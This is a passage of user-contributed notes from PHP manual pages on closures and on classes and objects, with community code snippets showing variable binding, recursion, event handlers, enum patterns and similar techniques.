<?php

function data() {
 $var = 'hi';
}
$lambda = function() {
 $var = 'hi';
}

?>

Bench for instantiating a function:
1.692800000000000082422957 μs
Bench for instantiating Lambda Function:
0.906000000000000027533531 μs
Bench for calling function:
0.7153000000000000468958206 μs
Bench for calling lambda function:
0.6914000000000000145661261 μs

Calling the lambda function and regular function fluctuates between .81 and .65 so they seem to be the same.
fabiolimasouto at gmail dot com 24-Feb-2011 07:51
You may have been disapointed if you tried to call a closure stored in an instance variable as you would regularly do with methods:

<?php

$obj = new StdClass();

$obj->func = function(){
 echo "hello";
};

//$obj->func(); // doesn't work! php tries to match an instance method called "func" that is not defined in the original class' signature

// you have to do this instead:
$func = $obj->func;
$func();

// or:
call_user_func($obj->func);

// however, you might wanna check this out:
$array['func'] = function(){
 echo "hello";
};

$array['func'](); // it works! i discovered that just recently ;)
?>

Now, coming back to the problem of assigning functions/methods "on the fly" to an object and being able to call them as if they were regular methods, you could trick php with this lawbreaker-code:

<?php
class test{
 private $functions = array();
 private $vars = array();

 function __set($name,$data)
 {
  if(is_callable($data))
    $this->functions[$name] = $data;
  else
   $this->vars[$name] = $data;
 }

 function __get($name)
 {
  if(isset($this->vars[$name]))
   return $this->vars[$name];
 }

 function __call($method,$args)
 {
  if(isset($this->functions[$method]))
  {
   call_user_func_array($this->functions[$method],$args);
  } else {
   // error out
  }
 }
}

// LET'S BREAK SOME LAW NOW!
$obj = new test;

$obj->sayHelloWithMyName = function($name){
 echo "Hello $name!";
};

$obj->sayHelloWithMyName('Fabio'); // Hello Fabio!

// THE OLD WAY (NON-CLOSURE) ALSO WORKS:

function sayHello()
{
 echo "Hello!";
}

$obj->justSayHello = 'sayHello';
$obj->justSayHello(); // Hello!
?>

NOTICE: of course this is very bad practice since you cannot refere to protected or private fields/methods inside these pseudo "methods" as they are not instance methods at all but rather ordinary functions/closures assigned to the object's instance variables "on the fly". But I hope you've enjoyed the jurney ;)
Suman Madavapeddi. 14-Feb-2011 05:31
These  Closures are really interesting to me .This would be helpful.
<?php
Class Operations{
    public function ops($x,$y,$op){
        switch ($op){
            case 'ADD':return function() use($x,$y){
                            return $x+$y."<br>";
                       };
                       break;
            case 'SUB': return function() use ($x,$y){
                            return $x-$y."<br>";
                        };
                        break;
            default:    return function(){
                            return "Operation is not supported by class"."<br>";
                        };
        }
    }
}

$op =  new Operations();
$fn1 = $op->ops(6,7,'ADD');
echo $fn1();

$fn2 = $op->ops(6,2,'SUB');
echo $fn2();

$fn2 = $op->ops(6,7,'MUL');
echo $fn2();
?>
Anonymous 28-Oct-2010 12:54
use() parameters are early binding - they use the variable's value at the point where the lambda function is declared, rather than the point where the lambda function is called (late binding).

If you want late binding put & before the variable inside use()
<?php
$fn = function () use (&$var) { echo $var; };
?>
Examples:
<?php
// problem 1: this should echo "Canada", not a php notice
$fn = function () use ($country) { echo $country . "\n"; };
$country = 'Canada';
$fn();

// problem 2: this should echo "Canada", not "UnitedStates"
$country = 'UnitedStates';
$fn = function () use ($country) { echo $country . "\n"; };
$country = 'Canada';
$fn();

// problem 3: this should echo "Canada", not "UnitedStates"
$country = (object)array('name' => 'UnitedStates');
$fn = function () use ($country) { echo $country->name . "\n"; };
$country = (object)array('name' => 'Canada');
$fn();

// problem 4: this outputs "Canada". if this outputs "Canada",
// then so should problem 2 above. otherwise this should be
// just as broken as problem 2 and be outputting "UnitedStates"
$country = (object)array('name' => 'UnitedStates');
$fn = function () use ($country) { echo $country->name . "\n"; };
$country->name = 'Canada';
$fn();
?>
see http://bugs.php.net/bug.php?id=50980
(I've just quoted from there, but if you want you can read there the whole feature request)
Hayley Watson 22-Oct-2010 07:00
As an alternative to gabriel's recursive construction, you may instead assign the recursive function to a variable, and use it by reference, thus:

<?php
$fib = function($n)use(&$fib)
{
    if($n == 0 || $n == 1) return 1;
    return $fib($n - 1) + $fib($n - 2);
};

echo $fib(10);
?>
Hardly a sensible implementation of the Fibonacci sequence, but that's not the point! The point is that the variable needs to be used by reference, not value.

Without the '&', the anonymous function gets the value of $fib at the time the function is being created. But until the function has been created, $fib can't have it as a value! It's not until AFTER the function has been assigned to $fib that $fib can be used to call the function - but by then it's too late to pass its value to the function being created!

Using a reference resolves the dilemma: when called, the anonymous function will use $fib's current value, which will be the anonymous function itself.

At least, it will be if you don't reassign $fib to anything else between creating the function and calling it:

<?php
$fib = function($n)use(&$fib)
{
    if($n == 0 || $n == 1) return 1;
    return $fib($n - 1) + $fib($n - 2);
};

$lie = $fib;

$fib = function($n)
{
    return 100;
};

echo $lie(10); // 200, because $fib(10 - 1) and $fib(10 - 2) both return 100.
?>

Of course, that's true of any variable: if you don't want its value to change, don't change its value.

All the usual scoping rules for variables still apply: a local variable in a function is a different variable from another one with the same name in another function:

<?php
$fib = function($n)use(&$fib)
{
    if($n == 0 || $n == 1) return 1;
    return $fib($n - 1) + $fib($n - 2);
};

$bark = function($f)
{
    $fib = 'cake';    // A totally different variable from the $fib above.
    return 2 * $f(5);
};

echo $bark($fib); // 16, twice the fifth Fibonacci number

?>
anonymous 19-Aug-2010 03:21
Base dao class illustrating the usefulness of closures.
* Handles opening and closing of connections.
* Adds slashes sql
* Type checking of sql parameters and casts as appropriate
* Provides hook for processing of result set and emitting one or more objects.
* Provides hook for accessing underlying link and result objects.

<?php

define("userName","root");
define("password","root");
define("dbName","ahcdb");
define("hostName","localhost");

class BaseDao {

    function getConnection()    {
        $link = mysql_connect(hostName, userName, password);
        if (!$link)
            die("Could not connect: " . mysql_error());
        if (!mysql_select_db(dbName))
            die("Could not select database: " . mysql_error());
        return $link;
    }

    function setParams(& $sql, $params)    {
        if($params != null)
            $sql = vsprintf($sql, array_map(function($n) {
                if(is_int($n))
                    return (int)$n;
                if(is_float($n))
                    return (float)$n;
                if(is_string($n))
                    return "'".mysql_real_escape_string($n)."'";
                return mysql_real_escape_string($n);
            }, $params));
    }

    function executeQuery($sql, $params, $callback = null)    {
        $link  = $this->getConnection();
        $this->setParams($sql, $params);
        $return = null;
        if(($result = mysql_query($sql, $link)) != null)
            if($callback != null)
                $return = $callback($result, $link);
        if($link != null)
            mysql_close($link);
        if(!$result)
            die("Fatal Error: Invalid query '$sql' : " . mysql_error());
        return $return;
    }

    function getList($sql, $params, $callback)    {
        return $this->executeQuery($sql, $params, function($result, $link) use ($callback) {
            $idx = 0;
            $list = array();
            while ($row = mysql_fetch_assoc($result))
                if($callback != null)
                    $list[$idx] = $callback($idx++, $row);
            return $list;
        });
    }

    function getSingle($sql, $params, $callback)    {
        return $this->executeQuery($sql, $params, function($result, $link) use ($callback) {
            if ($row = mysql_fetch_assoc($result))
                $obj = $callback($row);
            return $obj;
        });
    }
}

class Example    {
    var $id;
    var $name;

    function Example($id, $name){
        $this->id = $id;
        $this->name = $name;
    }

    function setId($id){
        $this->id = $id;
    }
}

class ExampleDao extends BaseDao    {

    function getAll(){
        return parent::getList("select * from nodes", null, function($idx, $row) {
            return new Example($row["id"], $row["name"]);
        });
    }

    function load($id){
        return parent::getSingle("select * from nodes where id = %1\$s", array($id), function($row) {
            return new Example($row["id"], $row["name"]);
        });
    }

    function update($example){
        return parent::executeQuery("update nodes set name = '' where  id = -1", null, function($result, $link){
            return $result;
        });
    }

    function insert(& $example){
        return parent::executeQuery("insert into nodes", null, function($result, $link) use ($example){
            $id = mysql_insert_id($link);
            $example->setId($id);
            return $result;
        });
    }
}

$exampleDao = new ExampleDao();

$list = $exampleDao->getAll());

$exampleObject = $exampleDao->load(1));

$exampleDao->update($exampleObject);

?>
orls 08-Aug-2010 06:53
Watch out when 'importing' variables to a closure's scope  -- it's easy to miss / forget that they are actually being *copied* into the closure's scope, rather than just being made available.

So you will need to explicitly pass them in by reference if your closure cares about their contents over time:

<?php
$result = 0;

$one = function()
{ var_dump($result); };

$two = function() use ($result)
{ var_dump($result); };

$three = function() use (&$result)
{ var_dump($result); };

$result++;

$one();    // outputs NULL: $result is not in scope
$two();    // outputs int(0): $result was copied
$three();    // outputs int(1)
?>

Another less trivial example with objects (what I actually tripped up on):

<?php
//set up variable in advance
$myInstance = null;

$broken = function() uses ($myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
};

$working = function() uses (&$myInstance)
{
    if(!empty($myInstance)) $myInstance->doSomething();
}

//$myInstance might be instantiated, might not be
if(SomeBusinessLogic::worked() == true)
{
    $myInstance = new myClass();
}

$broken();    // will never do anything: $myInstance will ALWAYS be null inside this closure.
$working();    // will call doSomething if $myInstance is instantiated

?>
gabriel dot totoliciu at ddsec dot net 19-Jul-2010 10:56
If you want to make a recursive closure, you will need to write this:

$some_var1="1";
$some_var2="2";

function($param1, $param2) use ($some_var1, $some_var2)
{

//some code here

call_user_func(__FUNCTION__, $other_param1, $other_param2);

//some code here

}

If you need to pass values by reference you should check out

http://www.php.net/manual/en/function.call-user-func.php
http://www.php.net/manual/en/function.call-user-func-array.php

If you're wondering if $some_var1 and $some_var2 are still visible by using the call_user_func, yes, they are available.
martin dot partel at gmail dot com 11-Jun-2010 10:50
$this is currently (PHP 5.3.2) not usable directly with closures.

One can write:
<?php
$self = $this;
function () use ($self) { ... }
?>
but then the private/protected members of $this cannot be used inside the closure. This makes closures much less useful in OO code.

Until this is fixed, one can cheat using reflection:
<?php
class FullAccessWrapper
{
    protected $_self;
    protected $_refl;

    public function __construct($self)
    {
        $this->_self = $self;
        $this->_refl = new ReflectionObject($self);
    }

    public function __call($method, $args)
    {
        $mrefl = $this->_refl->getMethod($method);
        $mrefl->setAccessible(true);
        return $mrefl->invokeArgs($this->_self, $args);
    }

    public function __set($name, $value)
    {
        $prefl = $this->_refl->getProperty($name);
        $prefl->setAccessible(true);
        $prefl->setValue($this->_self, $value);
    }

    public function __get($name)
    {
        $prefl = $this->_refl->getProperty($name);
        $prefl->setAccessible(true);
        return $prefl->getValue($this->_self);
    }

    public function __isset($name)
    {
        $value = $this->__get($name);
        return isset($value);
    }
}

/**
 * Usage:
 * $self = giveAccess($this);
 * function() use ($self) { $self->privateMember... }
 */
function giveAccess($obj)
{
    return new FullAccessWrapper($obj);
}

// Example:

class Foo
{
    private $x = 3;
    private function f()
    {
        return 15;
    }

    public function getClosureUsingPrivates()
    {
        $self = giveAccess($this);
        return function () use ($self) {
            return $self->x * $self->f();
        };
    }
}

$foo = new Foo();
$closure = $foo->getClosureUsingPrivates();
echo $closure() . "\n"; // Prints 45 as expected
?>
kdelux at gmail dot com 14-May-2010 08:55
Here is an example of one way to define, then use the variable ( $this ) in Closure functions.  The code below explores all uses, and shows restrictions.

The most useful tool in this snippet is the requesting_class() function that will tell you which class is responsible for executing the current Closure().

Overview:
-----------------------
Successfully find calling object reference.
Successfully call $this(__invoke);
Successfully reference $$this->name;
Successfully call call_user_func(array($this, 'method'))

Failure: reference anything through $this->
Failure: $this->name = '';
Failure: $this->delfect();

<?php

    function requesting_class()
    {
        foreach(debug_backtrace(true) as $stack){
            if(isset($stack['object'])){
                return $stack['object'];
            }
        }

    }

    class Person
    {
        public $name = '';
        public $head = true;
        public $feet = true;
        public $deflected = false;

        function __invoke($p){ return $this->$p; }
        function __toString(){ return 'this'; } // test for reference

        function __construct($name){ $this->name = $name; }
        function deflect(){ $this->deflected = true; }

        public function shoot()
        { // If customAttack is defined, use that as the shoot resut.  Otherwise shoot feet
            if(is_callable($this->customAttack)){
                return call_user_func($this->customAttack);
            }

            $this->feet = false;
        }
    }

    $p = new Person('Bob');

    $p->customAttack =
                function(){

                    echo $this; // Notice: Undefined variable: this

                    #$this = new Class() // FATAL ERROR

                    // Trick to assign the variable '$this'
                    extract(array('this' => requesting_class())); // Determine what class is responsible for making the call to Closure

                    var_dump( $this  );  // Passive reference works
                    var_dump( $$this ); // Added to class:  function __toString(){ return 'this'; }

                    $name = $this('name'); // Success
                    echo $name;            // Outputs: Bob
                    echo '<br />';
                    echo $$this->name;

                    call_user_func_array(array($this, 'deflect'), array()); // SUCCESSFULLY CALLED

                    #$this->head = 0; //** FATAL ERROR: Using $this when not in object context
                    $$this->head = 0;  // Successfully sets value

                };

    print_r($p);

    $p->shoot();

    print_r($p);

    die();

?>
Hayley Watson 12-Apr-2010 06:53
In the code

<?php
function new_counter()
{
    $counter = mt_rand();
    return function()use(&$counter)
    {
        return ++$counter;
    };
}

$t1 = new_counter();
$t2 = new_counter();

echo $t1(),"\n";
echo $t1(),"\n";
echo $t2(),"\n";
echo $t2(),"\n";
echo $t1(),"\n";
echo $t1(),"\n";
?>

The variable $counter is local to new_counter() and is used by reference by the returned lambda function.

Because $counter is not static, a new variable is created each time new_counter() is called.

But because the lambda function uses a REFERENCE to the $counter variable - and not a new local variable with a copy of the value $counter had when the lambda function was constructed - the $counter variable created when new_counter() ran still exists (because a reference to it still exists).

Every lambda function has a variable reference "hardwired" into it. That variable therefore persists across calls to the lambda function - rather like a static variable.

But that variable is only LOCAL to the new_counter() function that created it. As soon as new_counter() returns, it gives up its reference to $counter. When new_counter() is called again, it gets allocated a NEW $counter variable and gives a reference to THAT variable to the lambda function it constructs.

So the lambda functions in $t1 and $t2 each have their OWN $counter variable - separate from the other's, which persists from one call to the next.

The effect is very similar to declaring and initialising $counter as static within the lambda function - and then it doesn't need to use anything from new_counter() - but you can't initialise a static variable with a function call like mt_rand()!

Pending a decision on what it should mean, $this is not currently (as of 5.3.2) usable within anonymous functions.

There are roughly two positions (plus attempts at compromise), that can be called "early" and "late".

Early: $this refers to the object in whose scope the anonymous function is constructed.
<?php
class Creator
{
   public function make_anonymous()
   {
       return function()
       {
           return $this;
       };
   }
}

class Caller
{
   public $p;
   public function call_anonymous($f)
   {
       $this->p = $f();
   }
}

$alpha = new Creator;
$omega = new Caller;
$omega->call_anonymous($alpha->create_anonymous());
// $omega->p === $alpha
?>

Late: $this refers to the object in whose scope the anonymous function is called.

<?php
class Creator
{
   public function make_anonymous()
   {
       return function()
       {
           return $this;
       };
   }
}

class Caller
{
   public $p;
   public function call_anonymous($f)
   {
       $this->p = $f();
   }
}

$alpha = new Creator;
$omega = new Caller;
$omega->call_anonymous($alpha->create_anonymous());
// $omega->p === $omega
?>

So until this is cleared up, $this won't work in an anonymous function. (Personally, I favour the early method; otherwise the anonymous function - and therefore its Creator - has access to all of the Caller's private properties.)
housni dot yakoob at gmail dot com 14-Mar-2010 09:22
If you want to make sure that one of the parameters of your function is a Closure, you can use Type Hinting.
see: http://php.net/manual/en/language.oop5.typehinting.php

Example:
<?php

class TheRoot
{
    public function poidh($param) {
        echo "TheRoot $param!";
    }

}

class Internet
{
    # here, $my_closure must be of type object Closure
    public function run_my_closure($bar, Closure $my_closure) {
        $my_closure($bar);
    }
}

$Internet = new Internet();
$Root = new TheRoot();

$Internet->run_my_closure($Root, function($Object) {
    $Object->poidh(42);
});

?>
The above code simply yields:
"TheRoot 42!"

NOTE: If you are using namespaces, make sure you give a fully qualified namespace.

print_r() of Internet::run_my_closure's $my_closure
<?php
Closure Object
(
    [parameter] => Array
        (
            [$Object] =>
        )

)
?>

var_dump() of Internet::run_my_closure's $my_closure
<?php
object(Closure)#3 (1) {
  ["parameter"]=>
  array(1) {
    ["$Object"]=>
    string(10) ""
  }
}
?>
aaron at afloorabove dot com 05-Mar-2010 02:42
Anonymous functions are great for events!

<?php

class Event {

  public static $events = array();

  public static function bind($event, $callback, $obj = null) {
    if (!self::$events[$event]) {
      self::$events[$event] = array();
    }

    self::$events[$event][] = ($obj === null)  ? $callback : array($obj, $callback);
  }

  public static function run($event) {
    if (!self::$events[$event]) return;

    foreach (self::$events[$event] as $callback) {
      if (call_user_func($callback) === false) break;
    }
  }

}

function hello() {
  echo "Hello from function hello()\n";
}

class Foo {
  function hello() {
    echo "Hello from foo->hello()\n";
  }
}

class Bar {
  function hello() {
    echo "Hello from Bar::hello()\n";
  }
}

$foo = new Foo();

// bind a global function to the 'test' event
Event::bind("test", "hello");

// bind an anonymous function
Event::bind("test", function() { echo "Hello from anonymous function\n"; });

// bind an class function on an instance
Event::bind("test", "hello", $foo);

// bind a static class function
Event::bind("test", "Bar::hello");

Event::run("test");

/* Output
Hello from function hello()
Hello from anonymous function
Hello from foo->hello()
Hello from Bar::hello()
*/

?>
ljackson at jjcons dot com 21-Feb-2010 10:46
appears kwilson at shuttlebox dot net that you may have just made unintended side effect. Note that adding the global $variable to your test function make the closure function echo second rather than first So the anonymous function works as expected with respect to globals.

<?php
    $variable = "first";

    $closure = function() {
        global $variable;

        echo $variable . "\n";
    };

    $closure();

    function test($closure)
    {
        global $variable; //Note the scope added here
        $variable = "second";

        $closure();
    }

    test($closure);
?>

prints:
first
second

tested with php 5.3.1
kwilson at shuttlebox dot net 21-Jan-2010 07:24
Using the global keyword apparently pulls variables from the scope where the function was created, not where it is executed.

Example:

<?php
    $variable = "first";

    $closure = function() {
        global $variable;

        echo $variable . "\n";
    };

    $closure();

    function test($closure)
    {
        $variable = "second";

        $closure();
    }

    test($closure);
?>

Will print:

first
first
puskulcu at gmail dot com 14-Dec-2009 12:46
hello there!
here is a little code which shows use of the closures as event handlers:

<?php

  class Button
  {
    public $OnBeforeClick;
    public $OnAfterClick;
    public $Name;

    function Button()
    {
      $this->Name = 'MyButton';
    }

    public function Click()
    {
      $this->DoBeforeClick();

      echo 'Click!';

      $this->DoAfterClick();
    }

    private function DoBeforeClick()
    {
      if (isset($this->OnBeforeClick))
      {
        $Event = $this->OnBeforeClick;
        $Event($this);
      }
    }

    private function DoAfterClick()
    {
      if (isset($this->OnAfterClick))
      {
        $Event = $this->OnAfterClick;
        $Event($this);
      }
    }
  }

  //eclipse may warn here about syntax error but no problem, it runs well.
  $BeforeClickEventHandler = function($Sender) { echo $Sender->Name . ' (Before Click)'; };
  $AfterClickEventHandler = function($Sender) { echo $Sender->Name . ' (After Click)'; };

  $MyWidget = new Button();
  $MyWidget->OnBeforeClick = $BeforeClickEventHandler;
  $MyWidget->OnAfterClick = $AfterClickEventHandler;
  $MyWidget->Click();

?>

output:
MyButton (Before Click)
Click!
MyButton (After Click)

i hope you find this useful.
regards.
emre
rob at ubrio dot us 25-Nov-2009 10:20
You can always call protected members using the __call() method - similar to how you hack around this in Ruby using send.

<?php

class Fun
{
 protected function debug($message)
 {
   echo "DEBUG: $message\n";
 }

 public function yield_something($callback)
 {
   return $callback("Soemthing!!");
 }

 public function having_fun()
 {
   $self =& $this;
   return $this->yield_something(function($data) use (&$self)
   {
     $self->debug("Doing stuff to the data");
     // do something with $data
     $self->debug("Finished doing stuff with the data.");
   });
 }

 // Ah-Ha!
 public function __call($method, $args = array())
 {
   if(is_callable(array($this, $method)))
     return call_user_func_array(array($this, $method), $args);
 }
}

$fun = new Fun();
echo $fun->having_fun();

?>
mike at blueroot dot co dot uk 28-Oct-2009 08:40
To recursively call a closure, use this code.

<?php
$recursive = function () use (&$recursive){
    // The function is now available as $recursive
}
?>

This DOES NOT WORK

<?php
$recursive = function () use ($recursive){
    // The function is now available as $recursive
}
?>
kukoman at pobox dot sk 13-Oct-2009 05:22
be aware of  Fatal error: Using $this when not in object context when using in closures

http://wiki.php.net/rfc/closures/removal-of-this
gerard at visei dot nl 07-Oct-2009 07:41
The text above the third example tries to explain that anonymous functions can inherit variables from the parent scope, but fails to properly explain how this is done: namely using the "use" keyword in the function definition.

The following page has a much more detailed explanation of closures in PHP 5.3:
http://wiki.php.net/rfc/closures
dave at mausner dot us 10-Aug-2009 02:34
Ulderico had it almost right.  To avoid confusing the interpreter, when using a simple closure stored in a $variable, you must invoke the nameless function using the function syntax.

<?php
$helloworld = function(){
    return "each hello world is different... ".date("His");
};

echo $helloworld( );
?>

Note the empty actual-parameter list in the "echo".  NOW IT WORKS.
Anonymous 03-Aug-2009 02:50
If you want to check whether you're dealing with a closure specifically and not a string or array callback you can do this:

<?php
$isAClosure = is_callable($thing) && is_object($thing);
?>
tom at r dot je 29-Jul-2009 03:51
Unfortunately, you can't get a pointer to a function, the only function pointers are ones which use anonymous functions as they're created.

This wont work:

<?php
$info = phpinfo;
$info();

//or

function foo() {
echo 'bar';
}

$foo = foo;
$foo();
?>

Because of the behavior of $foo(), it will assume $foo is a string, and try to run the function with the name stored in the string.
mcm dot matt at gmail dot com 30-Jun-2009 05:49
Example using uasort.

<?php
// Usual method.
function cmp($a, $b) {
    return($a > $b);
}
uasort($array, 'cmp');

// New
uasort($array, function($a, $b) {
    return($a > $b);
});
?>
a dot schaffhirt at sedna-soft dot de 19-Jun-2009 02:55
When using anonymous functions as properties in Classes, note that there are three name scopes: one for constants, one for properties and one for methods. That means, you can use the same name for a constant, for a property and for a method at a time.

Since a property can be also an anonymous function as of PHP 5.3.0, an oddity arises when they share the same name, not meaning that there would be any conflict.

Consider the following example:

<?php
    class MyClass {
        const member = 1;

        public $member;

        public function member () {
            return "method 'member'";
        }

        public function __construct () {
            $this->member = function () {
                return "anonymous function 'member'";
            };
        }
    }

    header("Content-Type: text/plain");

    $myObj = new MyClass();

    var_dump(MyClass::member);  // int(1)
    var_dump($myObj->member);   // object(Closure)#2 (0) {}
    var_dump($myObj->member()); // string(15) "method 'member'"
    $myMember = $myObj->member;
    var_dump($myMember());      // string(27) "anonymous function 'member'"
?>

That means, regular method invocations work like expected and like before. The anonymous function instead, must be retrieved into a variable first (just like a property) and can only then be invoked.

Best regards,
Internal (built-in) functions
Classes and Objects
Functions


Classes and Objects

Table of Contents

  • Introduction
  • The Basics
  • Properties
  • Class Constants
  • Autoloading Classes
  • Constructors and Destructors
  • Visibility
  • Object Inheritance
  • Scope Resolution Operator (::)
  • Static Keyword
  • Class Abstraction
  • Object Interfaces
  • Traits
  • Overloading
  • Object Iteration
  • Patterns
  • Magic Methods
  • Final Keyword
  • Object Cloning
  • Comparing Objects
  • Type Hinting
  • Late Static Bindings
  • Objects and references
  • Object Serialization
  • OOP Changelog

User Contributed Notes

dances_with_peons at live dot com 18-Jan-2011 02:36
As of PHP 5.3, $className::funcName() works fine.

<?php

  class test
  {
    public static function run() { print "Works\n"; }
  }

  $className = 'test';
  $className::run();

?>

on my system, prints "Works".  May work with earlier versions of PHP as well.  Even if it doesn't, there's always

<?php

  $className = 'test';
  call_user_func(array($className, 'run'));

?>

The point is, there's no need for eval.
dances_with_peons at live dot com 18-Jan-2011 02:30
As of PHP 5.3, $className::funcName() works fine.

<?php
class test
{
    public static function run() { print "Works\n"; }
}

$className = 'test';
$className::run();
?>

on my system, prints "Works".  It may work with earlier versions of PHP as well.
corpus-deus at softhome dot net 26-Nov-2010 08:27
With regards to Singleton patterns (and variable class names) - try:

<?php
class MyClass {

  // singleton instance
  private static $instance;

  // private constructor function
  // to prevent external instantiation
  private __construct() { }

  // getInstance method
  public static function getInstance() {

    if(!self::$instance) {
      self::$instance = new self();
    }

    return self::$instance;

  }

  //...

}
?>
suleman dot saleh at gmail dot com 25-Oct-2010 11:41
Using php abstract classes we must have to implement all their functions in child classes other wise it will make automatically child class as a concrete
DavMe 01-Oct-2010 12:03
When you have a class name in a variable and want to create a new instance of that class, you can simply use:
<?php
$className = "ClassName";
$instance = new $className();
?>

If, however, you have a class that is part of a singleton pattern where you cannot create it with new and need to use:
<?php
$instance = ClassName::GetInstance();
?>

...you quickly discover that it fails miserably with a variable.
Fail Example:
<?php
$className = "ClassName";
$instance = $className::GetInstance();
?>

After a few days of head pounding, I finally put together this workaround:
<?php
$className = "ClassName";
eval('$instance = '.$className.'::GetInstance();');
?>

I hope this saves you some effort and if anyone knows of a non-eval method to accomplish this, please share!

Thanks!
midir 02-Mar-2009 07:40
There are a couple of tricks you can do with PHP's classes that programmers from C++, etc., will find very peculiar, but which can be useful.

You can create instances of classes without knowing the class name in advance, when it's in a variable:

<?php

$type = 'cc';
$obj = new $type; // outputs "hi!"

class cc {
    function __construct() {
        echo 'hi!';
    }
}

?>

You can also conditionally define them by wrapping them in if/else blocks etc, like so:

<?php

if (expr) {
    class cc {
        // version 1
    }
} else {
    class cc {
        // version 2
    }
}

?>

It makes up for PHP's lack of preprocessor directives. The caveat is that the if/else code body must have been executed before you can use the class, so you need to pay attention to the order of the code, and not use things before they're defined.
redrik at gmail dot com 31-Dec-2008 01:08
Maybe someone will find these classes, which simulate enumeration, useful.
<?php
class Enum {
    protected $self = array();
    public function __construct( /*...*/ ) {
        $args = func_get_args();
        for( $i=0, $n=count($args); $i<$n; $i++ )
            $this->add($args[$i]);
    }

    public function __get( /*string*/ $name = null ) {
        return $this->self[$name];
    }

    public function add( /*string*/ $name = null, /*int*/ $enum = null ) {
        if( isset($enum) )
            $this->self[$name] = $enum;
        else
            $this->self[$name] = end($this->self) + 1;
    }
}

class DefinedEnum extends Enum {
    public function __construct( /*array*/ $itms ) {
        foreach( $itms as $name => $enum )
            $this->add($name, $enum);
    }
}

class FlagsEnum extends Enum {
    public function __construct( /*...*/ ) {
        $args = func_get_args();
        for( $i=0, $n=count($args), $f=0x1; $i<$n; $i++, $f *= 0x2 )
            $this->add($args[$i], $f);
    }
}
?>
Example usage:
<?php
$eFruits = new Enum("APPLE", "ORANGE", "PEACH");
echo $eFruits->APPLE . ",";
echo $eFruits->ORANGE . ",";
echo $eFruits->PEACH . "\n";

$eBeers = new DefinedEnum("GUINESS" => 25, "MIRROR_POND" => 49);
echo $eBeers->GUINESS . ",";
echo $eBeers->MIRROR_POND . "\n";

$eFlags = new FlagsEnum("HAS_ADMIN", "HAS_SUPER", "HAS_POWER", "HAS_GUEST");
echo $eFlags->HAS_ADMIN . ",";
echo $eFlags->HAS_SUPER . ",";
echo $eFlags->HAS_POWER . ",";
echo $eFlags->HAS_GUEST . "\n";
?>
Will output:
1, 2, 3
25, 49
1,2,4,8 (or 1, 10, 100, 1000 in binary)
Jeffrey 08-Oct-2008 11:51
Why should anyone learn what classes and objects are? The short answer is to clarify and simplify code. Take this regular script:

<?php
$item_name = 'Widget 22';
$item_price = 4.90;
$item_qty = 2;
$item_total = ($item_price * $item_qty);
echo "You ordered $item_qty $item_name @ \$$item_price for a total of: \$$item_total.";
?>

You ordered 2 Widget 22 @ $4.9 for a total of: $9.8.

You can see clearly that you have to "define and set" the data, "perform a calculation", and explicitly "write" the results - for a total of 5 written statements. But the more you look at it, the more it needs fixin'. If you attempt to do that, your code can get really ugly, really fast - and remember, this is just a simple script! Here's the same program in OOP with all the fixin's:

<?php
class Item {
  protected $name, $price, $qty, $total;

  public function __construct($iName, $iPrice, $iQty) {
    $this->name = $iName;
    $this->price = $iPrice;
    $this->qty = $iQty;
    $this->calculate();
  }

  protected function calculate() {
    $this->price = number_format($this->price, 2);
    $this->total = number_format(($this->price * $this->qty), 2);
  }

  public function __toString() {
    return "You ordered ($this->qty) '$this->name'" . ($this->qty == 1 ? "" : "s") .
    " at \$$this->price, for a total of: \$$this->total.";
  }
}

echo (new Item("Widget 22", 4.90, 2));
?>

You ordered (2) 'Widget 22's at $4.90, for a total of: $9.80.

By loading class Item (which houses all the improvements we made over the first script) into PHP first, we went from having to write 5 statements in the first script, to writing only 1 statement "echo new Item" in the second.
Jason 07-Jul-2008 10:34
For real quick and dirty one-liner anonymous objects, just cast an associative array:

<?php

$obj = (object) array('foo' => 'bar', 'property' => 'value');

echo $obj->foo; // prints 'bar'
echo $obj->property; // prints 'value'

?>

... no need to create a new class or function to accomplish it.
ranema at ubuntu dot polarhome dot com 30-Mar-2008 07:49
Sometimes you just forget to close handles, links, etc and sometimes you are just lazy to do that. PHP 5 OOP can do it automatically by using destructors:

<?php
class MySqlDriver {
   private $_Link;

   public function __construct( <...> ) {
      $this->_Link = mysql_connect( <...> );
   }

   // this will be called automatically at the end of scope
   public function __destruct() {
      mysql_close( $this->_Link );
   }
}

$_gLink = new MySqlDriver( <...> );
// and you don't need to close the link manually
?>
osculabond at gmail dot com 06-Oct-2006 11:20
A better way to simulate an enum in php5:

<?php
final class Days {
    const Sunday     = 0x00000001;
    const Monday     = 0x00000010;
    const Tuesday    = 0x00000100;
    const Wednesday = 0x00001000;
    const Thursday  = 0x00010000;
    const Friday    = 0x00100000;
    const Saturday  = 0x01000000;
    const Unknown    = 0x00000000;

    // ensures that this class acts like an enum
    // and that it cannot be instantiated
    private function __construct(){}
}
?>

This will allow you to do things like:

<?php
$day_to_email = Days::Thursday;

if($day_to_email == Days::Wednesday) echo "Wednesday<br />";
if($day_to_email == Days::Thursday) echo "Thursday<br />";
if($day_to_email == Days::Friday) echo "Friday<br />";
?>

Which would output:
Thursday

Or if you wanted to get a little fancier you could also do the following:

<?php
$days_to_email = Days::Monday | Days::Wednesday | Days::Friday;

if($days_to_email & Days::Monday) echo "Monday<br />";
if($days_to_email & Days::Tuesday) echo "Tuesday<br />";
if($days_to_email & Days::Wednesday) echo "Wednesday<br />";
if($days_to_email & Days::Thursday) echo "Thursday<br />";
if($days_to_email & Days::Friday) echo "Friday<br />";
?>

Which would output:
Monday
Wednesday
Friday
S�b. 27-May-2005 09:50
We can't create easily anonymous objects like in JavaScript.
JS example :

    var o = {
        aProperty : "value",
        anotherProperty : [ "element 1", "element 2" ] } ;
    alert(o.anotherProperty[1]) ; // "element 2"

So I have created a class Object :

<?php
    class Object {
        function __construct( ) {
            $n = func_num_args( ) ;
            for ( $i = 0 ; $i < $n ; $i += 2 ) {
                $this->{func_get_arg($i)} = func_get_arg($i + 1) ;
            }
        }
    }

    $o = new Object(
        'aProperty', 'value',
        'anotherProperty', array('element 1', 'element 2')) ;
    echo $o->anotherProperty[1] ; // "element 2"
?>

You must feel free to make it better :)
spam at afoyi dot com 20-Mar-2005 05:18
You can call a function defined in an inherited class from the parent class. This works in both PHP 4.3.6 and 5.0.0:

<?php

class p {

    function p() {
        print "Parent's constructor\n";
    }

    function p_test() {
        print "p_test()\n";
        $this->c_test();
    }
}

class c extends p {

    function c() {
        print "Child's constructor\n";
        parent::p();
    }

    function c_test() {
        print "c_test()\n";
    }
